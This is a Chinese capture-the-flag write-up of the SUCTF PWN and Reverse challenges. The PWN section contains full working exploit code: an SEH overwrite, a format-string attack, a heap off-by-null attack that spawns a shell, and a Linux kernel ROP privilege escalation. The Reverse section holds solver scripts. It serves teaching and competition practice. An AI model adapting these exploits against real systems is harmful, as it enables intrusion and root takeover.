前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SUCTF-WriteUp(下)

SUCTF-WriteUp(下)

作者头像
ChaMd5安全团队
发布2019-08-23 20:18:39
1.3K0
发布2019-08-23 20:18:39
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队

PWN

BabyStack

解题思路

首先注意到主程序会decode hex,而后:

代码语言:javascript
复制
 .text:00BA854C                 call    loc_BA8552
.text:00BA854C ; 
.text:00BA8552 loc_BA8552:                             ; CODE XREF: sub_BA83E0:loc_BA854C↑j
.text:00BA8552                 pop     eax
.text:00BA8553                 mov     esi, [ebp+var_2C]
.text:00BA8556                 sub     esi, eax
.text:00BA8558                 div     esi

当造成除零错误即会根据 CPPEH_RECORD结构体转去执行:

代码语言:javascript
复制
.rdata:00C1ACE0 stru_C1ACE0     dd 0FFFFFFE4h           ; GSCookieOffset
.rdata:00C1ACE0                                         ; DATA XREF: sub_BA83E0+5↑o
.rdata:00C1ACE0                 dd 0                    ; GSCookieXOROffset ; SEH scope table for function 4083E0
.rdata:00C1ACE0                 dd 0FFFFFFC0h           ; EHCookieOffset
.rdata:00C1ACE0                 dd 0                    ; EHCookieXOROffset
.rdata:00C1ACE0                 dd 0FFFFFFFEh           ; ScopeRecord.EnclosingLevel
.rdata:00C1ACE0                 dd offset loc_BA8583    ; ScopeRecord.FilterFunc
.rdata:00C1ACE0                 dd offset loc_BA8589    ; ScopeRecord.HandlerFunc

中的函数

而后就有了几次任意地址读且栈溢的机会,因此直接在任意地址读时读取伪造CPPEH_RECORD需要的其他信息(cookie等)

而后伪造CPPEH_RECORD中ScopeTable^___security_cookie指向我们在栈中伪造的结构体(同时注意在栈中绕过___security_cookie检查),而后即可在任意地址读时读一个非法地址造成错误转而指向

我们伪造结构体中的函数,注意到有一处:

代码语言:javascript
复制
.text:00DE8266                 push    offset aTypeFlagTxt ; "type flag.txt"
.text:00DE826B                 call    system
.text:00DE8270                 add     esp, 4

指向此即可最后get flag

代码语言:javascript
复制
from pwn import *
import time
context.log_level="debug"
p=remote("121.40.159.66",6666)
#p.sendlineafter("1234>","BabyStack.exe")
p.recvuntil("stack address = ")
stack_addr=int(p.recvuntil("\n").strip(),16)
p.recvuntil("= ")
main_addr=int(p.recvuntil("\n").strip(),16)
print hex(stack_addr),hex(main_addr)
code1=hex(main_addr+0x1018551-0x101395E)[2:].upper().rjust(8,"0")
p.sendlineafter("\r\n",code1)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(main_addr+0x108C004-0x101395E))
p.recvuntil("is ")
cookie=int(p.recvuntil("\n"),16)
print hex(cookie)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8))
p.recvuntil("is ")
magic1=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8+4))
p.recvuntil("is ")
magic2=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8+8))
p.recvuntil("is ")
magic3=int(p.recvuntil("\r\n"),16)
p.sendlineafter("\r\n","yes")
p.sendlineafter("\r\n",str(stack_addr+0x12FFCC8-0x12FFD04))
p.recvuntil("is ")
magic4=int(p.recvuntil("\r\n"),16)
addr=stack_addr+0x98FDE0-0x98FEA8
payload="aaaa"+p32(0xffffffe4)+p32(0)+p32(0xffffff0c)+p32(0)+p32(0xfffffffe)+p32(main_addr+0x1018266-0x101395E)*2+p32(magic4)*29+p32(magic1)+p32(magic2)+p32(magic3)+p32(main_addr+0x1019A30-0x101395E)+p32(cookie^addr)+p32(0)
#time.sleep(20)
p.sendlineafter("\r\n","kirin")
#time.sleep(20)
p.sendline(payload)
p.sendlineafter("more?\r\n","yes")
p.sendlineafter("?\r\n","kirin")
p.interactive()

playfmt 解题思路

格式化字符串漏洞且读取的flag在堆上

格式化字符串在全局变量

直接修改一个栈内指向另一个栈内指针的指针即可将一个指针指向堆指针处

而后再修改低字节指向&flag,%s即得flag

代码语言:javascript
复制
from pwn import *

context.log_level="debug"
#p=process("./playfmt")
p=remote("120.78.192.35",9999)
p.recvuntil("=\n")
p.sendlineafter("=\n","%6$lx")
s="0x"+p.recvuntil("\n")
stack_addr=int(s.strip(),16)
print hex(stack_addr)
stack2=stack_addr+0xFFFFCF28-0xffffcef8-0x20
p.sendline("%"+str(stack2&0xff)+"c%6$hhn")
p.sendline("%16c%14$hhn")
p.sendline("%18$s")
p.interactive()

二手破电脑

解题思路

程序在添加note时scanf存在off by null

利用off by null构造unlink,造成堆重叠,然后即可leak堆和libc地址

因为32位各种hook的周围合法地址只有"0xff"(32位程序高地址0xFF)

所以选择unsored bin attack覆盖global_max_fast即可成功将fastbin分配到realloc hook周围

而后fastbin attack修改realloc hook为system,在edit过程即可执行system("/bin/sh")来get shell

代码语言:javascript
复制
from pwn import *

context.log_level="debug"
def add(l,note,prize):
  p.sendlineafter(">>> ","1") 
  p.sendlineafter(": ",str(l))
  p.sendafter(": ",note)
  p.sendlineafter(": ",str(prize))
def comment(index,note,score):
  p.sendlineafter(">>> ","2") 
  p.sendlineafter(": ",str(index))
  p.sendafter(": ",note)
  p.sendlineafter(": ",str(score))
def delete(index):
  p.sendlineafter(">>> ","3") 
  p.sendlineafter(": ",str(index))
  p.recvuntil("Comment ")
  s=p.recvuntil("1.")
  return s
def edit(index,note,power=0,serial=""):
  p.sendlineafter(">>> ","4") 
  p.sendlineafter(": ",str(index))
  p.send(note)
  if power:
     p.sendlineafter(")","y")
     p.sendafter("serial: ",serial)
  else: 
     p.sendlineafter(")","n")
#p=process("./pwn")
p=remote("47.111.59.243",10001)
add(0x14,"a"*0x13+"\n",0)
comment(0,"bbbb",12)
add(0x14,"cccc\n",1)
delete(0)
comment(1,"b",12)
libc_addr=u32(delete(1)[0:4])+0xf7dfa000-0xf7fac762+0x2000
print hex(libc_addr)
#gdb.attach(p)
add(0x14,"aaaaaa\n",0)
add(0xfc,"ddddddd\n",1)
add(0x14,"eeee\n",2)
delete(0)
add(0x14,"a"*0x14,0)
delete(0)
for i in range(5):
  add(0x14,"a"*(0x14-i-1)+"\n",0)
  delete(0)
add(0x14,"a"*16+"\xa8"+"\n",0)
delete(1)
add(0x24,"aaaaaa\n",0)
comment(2,"2"*84,0)
s=delete(2)
heap_addr=u32(s[84:84+4])
print hex(heap_addr)
add(0x14,"a\n",0)
comment(1,"1"*72+p32(0)+p32(0x19)+p32(heap_addr++0x2c8)+p32(heap_addr)+p32(0)*2+p32(0)+p32(0x91),0)
comment(2,p32(0)*24+p32(0)+p32(0x19)+"a"*16+p32(0)+p32(0x19),1)
add(0xec,"a\n",0)
add(0xec,"a\n",0)
add(0xec,"a\n",0)
add(0x14,"a\n",0)
delete(0)
delete(2)
comment(3,p32(0)*9+p32(0x91)+p32(libc_addr-0xf7e1f000+0xf7fcf7b0)+p32(libc_addr+0x1b18e0-0x8),0)
comment(4,"4444",0)
add(0x14,"a\n",0)
add(0x14,p32(heap_addr+0x2e0)+p32(heap_addr+0x1d8)+"\n",0)
delete(5)
delete(4)
delete(6)
#gdb.attach(p)
add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
add(0xec,"/bin/sh\n",1)
add(0xec,"a"*17+p32(libc_addr+0x3a940)+"\n",1)
print hex(libc_addr)
#gdb.attach(p)
p.interactive()

sudrv

解题思路

qemu:

代码语言:javascript
复制
#! /bin/sh

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-cpu kvm64,+smep

开启了kalsr和smep

init:

代码语言:javascript
复制
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
mknod -m 622 console c 5 1
mknod -m 622 tty0 c 4 0
insmod sudrv.ko
mknod /dev/meizijiutql c 233 0
chmod 666 /dev/meizijiutql
mdev -s
sysctl kernel.dmesg_restrict=0
# echo "7 7 7 7" > /proc/sys/kernel/printk
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# /bin/sh

内核会加载驱动sudrv.ko

很显然驱动里有两处漏洞:

格式化字符串:

代码语言:javascript
复制
.text.unlikely:00000000000000B8 sudrv_ioctl_cold_2 proc near            ; CODE XREF: sudrv_ioctl+62↑j
.text.unlikely:00000000000000B8                 call    printk          ; PIC mode
.text.unlikely:00000000000000BD
.text.unlikely:00000000000000BD loc_BD:    

堆溢出

代码语言:javascript
复制
.text:0000000000000000 sudrv_write     proc near
.text:0000000000000000                 mov     rdi, cs:su_buf
.text:0000000000000007                 call    copy_user_generic_unrolled ; PIC mode
.text:000000000000000C                 test    eax, eax
.text:000000000000000E                 jz      sudrv_write_cold_1
.text:0000000000000014                 mov     rax, 0FFFFFFFFFFFFFFFFh
.text:000000000000001B                 retn  

起初我想的是堆喷分配大量cred到buf附近完成提权

但是cred分配时候使用的是cred_jar,与kmalloc分配的地址不同

没有办法直接覆盖

而后想了第二个思路:kmalloc分配地址里很容易在+0x80处存在一个cred附近的地址,可以先利用printk leak这个地址,而后类似利用fastbin attack,利用堆溢出将下一个堆的fd指向预测的cred地址完成提权,不过由于比较随机,只在本地成功过几次

而后就是第三个思路:相邻内核操作之间栈地址相近,可以先用格式化字符串漏洞leak一个栈地址,并leak出内核加载基址,而后在write的时候构造rop链覆盖自己的返回地址来调用commit_creds(prepare_kernel_cred(0))完成提权,而后返回用户态get shell,起初一直ireq;ret回用户态总是会在用户态crash,而后选择sysret成功返回用户态,不过直接system老是段错误,只好直接execv一个写好system的程序,不过仍然有点小问题,gdb.attach一下可以完成利用,不过没有attach就会crash,不知道是qemu还是需要sleep什么问题

代码语言:javascript
复制
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define KERNCALL __attribute__((regparm(3)))

void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;
char *argv[]={NULL};   
char *envp[]={"PATH=/", NULL};
long int magic1;
long int magic2;
void shellcode(){
    execve("./sh_exp", argv, envp);
}

void new(int fd,int size){
     ioctl(fd,0x73311337,size);
}
void  out(int fd){
      ioctl(fd,0xdeadbeef);
}
void  delete(int fd){
    ioctl(fd,0x13377331);
}
void getroot(){
    commit_creds= magic2+0xffffffff81081790-0xffffffff811c827f;
    prepare_kernel_cred =magic2+0xffffffff81081410-0xffffffff811c827f;    
    size_t cred = prepare_kernel_cred(0);
    commit_creds(cred);
}
unsigned long user_cs, user_ss, user_eflags,user_sp    ;
void save_status() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
         :
         : "memory"
     );
}

int main(){
   save_status();
   long int buf[0x2000];
   memset(buf,0,sizeof(buf));
   int fd=open("/dev/meizijiutql",1);
   new(fd,0x100);
   write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",100);
   out(fd);
   out(fd);
//0xffffc9000018bed8
//0xffffc9000018be50
   scanf("%ld %ld",&magic1,&magic2);
//please input stack_addr && exec_base addr
   buf[30]=0x800000;
   buf[31]=0xffffffffffffffff;
   buf[32]=magic1-0x88;
   new(fd,0x100);
   write(fd,buf,0x120);
   new(fd,0x100);
   new(fd,0x100);
   buf[0]=magic2+0xffffffff81001388-0xffffffff811c827f;
   buf[1]=0;
   buf[2]=magic2+0xffffffff81081790-0xffffffff811c827f;
   buf[3]=magic2+0xffffffff819e2959-0xffffffff811c827f;
   buf[4]=magic2+0xffffffff81081410-0xffffffff811c827f;
   buf[5]=buf[0];
   buf[6]=0x6f0;
   buf[7]=magic2+0xffffffff8104e5b1-0xffffffff811c827f;
   buf[8]=magic2+0xffffffff810674ff-0xffffffff811c827f;
   buf[9]=shellcode;
   buf[10]=magic2+0xffffffff81a000e1-0xffffffff811c827f;
   buf[11]=0;
   buf[12]=1;
   buf[13]=user_sp;
   buf[14]=0x401c60;
   buf[15]=user_sp;
   buf[16]=0x400418;
   buf[17]=user_eflags;
   buf[18]=shellcode;
   buf[19]=0x6d7f98;
   buf[20]=shellcode;
   buf[21]=shellcode;
   buf[22]=0x100;
   buf[23]=0x73311337;
   buf[24]=1;
   buf[25]=user_sp;
   buf[26]=7;
   buf[27]=shellcode;
   buf[28]=user_cs;
   buf[29]=user_eflags;
   buf[30]=user_sp;
   buf[31]=user_ss;
   write(fd,buf,280);
}
//gcc ./exp.c -o exp --static
#include <stdio.h>
#include <stdlib.h>

int main(){
system("/bin/sh");
}
//gcc ./shell_exp.c -o shell_exp --static

Reverse

SIGNIN

解题思路

代码语言:javascript
复制
import libnum
import gmpy2
p =  282164587459512124844245113950593348271
q = 366669102002966856876605669837014229419
e =  65537
c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35
s = (p- 1) * (q - 1)
d =long(gmpy2.invert(e, s))
n = p *q
k=pow(c, d, n)
print libnum.n2s(k)

hardCPP

解题思路

带LLVM的CPP。代码比较少,很容易就能直接理出校验过程,输入经下面处理后与常量比较:

代码语言:javascript
复制
(r^s[i] + s[i+r-1]%7) ^ ((s[i+r-1]^18)*3 + 2)

其中r是运行时间,应该为0,s为输入。反解如下:

代码语言:javascript
复制
  s = [0x23]
  table = [0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C, 0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5]
  for i,v in enumerate(table):
    t = ((v^((s[i]^18)*3 + 2)) - (s[i]%7)) & 0xff
    s.append(t)
  print ''.join(map(chr,s))

得#flag{mY-CurR1ed_Fns}。


Akira Homework

解题思路

代码语言:javascript
复制

主要是解DLL,动态调试 找出和dll代码操作的三个函数的参数 提取出DLL

不知道po叔怎么搞的,我是把所有检测debug的地方全部nop掉 然后在处理dll的三个关键函数下断提取对应参数

提取出DLL发现有个AES解密

key 是 Ak1i3aS3cre7K3y

代码语言:javascript
复制
#待解密的数据的(从此处得到)base64 encode 为:lL96DKQ1UNHCFezvnZqqVg==
  memset(Dst, 0, 0x8000ui64);
  Src = 0x94u;
  v14 = 0xBFu;
  v15 = 0x7A;
  v16 = 0xC;
  v17 = 0xA4u;
  v18 = 0x35;
  v19 = 0x50;
  v20 = 0xD1u;
  v21 = 0xC2u;
  v22 = 0x15;
  v23 = 0xECu;
  v24 = 0xEFu;
  v25 = 0x9Du;
  v26 = 0x9Au;
  v27 = 0xAAu;
  v28 = 0x56;
  memcpy(Dst, &Src, 0x10ui64);
  *((_QWORD *)&hFileMappingObject + 1) = CreateEventW(0i64, 0, 1, L"DLLInput");
#flag{Ak1rAWin!}
代码语言:javascript
复制
附上提取DLL脚本
代码语言:javascript
复制
p=open("WinRev.exe","rb")

z=bytearray(p.read())
p.close()
fff=z[0xefa0:0xefa0+0x4c00]
Str="Akira_aut0_ch3ss_!"
v4=len(Str)
for i in range(len(fff)):
    if(i%3==2):
        fff[i]=(fff[i]&0xf0)/0x10+(fff[i]&0xf)*0x10
    if(i%3==1):
        fff[i]=fff[i]^(0x33^0x6a)
    if((i%3)==0):
        fff[i]=fff[i]^ord(Str[(i/3)%v4])
p=open("kkk.exe","wb")
p.write(fff)
p.close()
代码语言:javascript
复制

程序使用了事件对象、多线程,还有反调试。

大致理了下,前三个事件是为了解码最终验证的dll。共了三次校验。第一次校验密码,第二次校验流数据的md5值,第三次就是最终校验了。

密码校验比较简单,就是乱序+异或。密码反解如下:

代码语言:javascript
复制
>>> l = [0x6A, 0x5A, 0x65, 0x6B, 0x71, 0x41, 0x72, 0x68, 0x55, 0x7C, 0x39, 0x67, 0x3E, 0x30, 0x4F, 0x7D, 0x7C, 0x64]
>>> idx= [1,5,4,2,3,0]
>>> l1 = [0]*18
>>> for i in range(18):
...   l1[6*(i/6)+idx[i%6]] = l[i]
...
>>> l1
[65, 106, 107, 113, 101, 90, 103, 114, 124, 57, 85, 104, 100, 62, 125, 124, 79, 48]
>>> for i in range(18):
...   l1[i] ^= i
...
>>> l1
[65, 107, 105, 114, 97, 95, 97, 117, 116, 48, 95, 99, 104, 51, 115, 115, 95, 33]
>>> print ''.join(map(chr,l1))
Akira_aut0_ch3ss_!
代码语言:javascript
复制

流数据内容直接查md5就可得到。

代码语言:javascript
复制
fcaeeb6e34b4303e99b91206bd325f2b==md5(Overwatch)
代码语言:javascript
复制

过了这两个校验,程序就可以完全解码dll文件了。也是到这里才发现前面的除了密码解dll有用,其它的都不要考虑。

IDA里直接解dll,并dump出来:

代码语言:javascript
复制
Python>addr = 0x1400111A0
Python>pl = [65, 107, 105, 114, 97, 95, 97, 117, 116, 48, 95, 99, 104, 51, 115, 115, 95, 33]
Python>for i in range(0x4c00):
Python>  if i%3 == 0:
Python>    PatchByte(addr+i,Byte(addr+i)^pl[i/3%18])
Python>  elif i%3 == 1:
Python>    PatchByte(addr+i,Byte(addr+i)^0x6a^0x33)
Python>  elif i%3 == 2:
Python>    PatchByte(addr+i,(Byte(addr+i)>>4)|((Byte(addr+i)<<4)&0xff))
Python>


Python>dump(0x1400111A0,0x4c00,r're\7a7cce71bf7944589ee6c2c389f79a8e\pe.bin')
代码语言:javascript
复制

解开的dll里,主要校验函数如下

AES解密校验数据94bf7a0ca43550d1c215ecef9d9aaa56与输入比较,直接解AES,得到flag{Ak1rAWin!}。


babyunic

解题思路

这题简单点说,就是一个loader调用unicorn执行了一段mips代码。直接ghidra反编出伪代码,是42元一次方程,直接z3求解。

得SUCTF{Un1c0rn_Engin3_Is_@_P0wer7ul_TO0ls!}。


Rev

解题思路

输入被符号字符分成3部分,分三次校验。

第一部分校验有点没看懂,但是不影响结果。简单异或可得第一部分必须必须有suctf,并是flag的开头。

第二部分校验要求4字节大写字母,相邻之间的字母ascii码差为2。

第三部分校验要求满足如下(v为输入,32bits空间内的计算)

代码语言:javascript
复制
(1234 * v + 5678) / 4396 ^ 0xABCDDCBA) == 0xABCDB8B9
(2334 * v + 9875) / 7777 ^ 0x12336790 == 0x1233FC70
代码语言:javascript
复制

直接z3求解

代码语言:javascript
复制
>>> from z3 import *
>>> v = BitVec('v',32)
>>> s = Solver()
>>> s.add((1234 * v + 5678) / 4396 ^ 0xABCDDCBA == 0xABCDB8B9)
>>> s.add((2334 * v + 9875) / 7777 ^ 0x12336790 == 0x1233FC70)
>>> s.check()
sat
>>> res = s.model()
>>> res
[v = 31415926]
代码语言:javascript
复制

所以最终输出的flag形式为suctf{ACEG31415926}。

第二部分不确定,所以小跑了下,准备逐个提交,想不到第一个就提交成功了。

Web、Misc、Crypto部分请看SUCTF-WriteUP(上)!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-08-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PWN
  • BabyStack
  • playfmt 解题思路
  • 解题思路
  • 解题思路
  • Reverse
  • SIGNIN
  • hardCPP
  • Akira Homework
  • babyunic
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档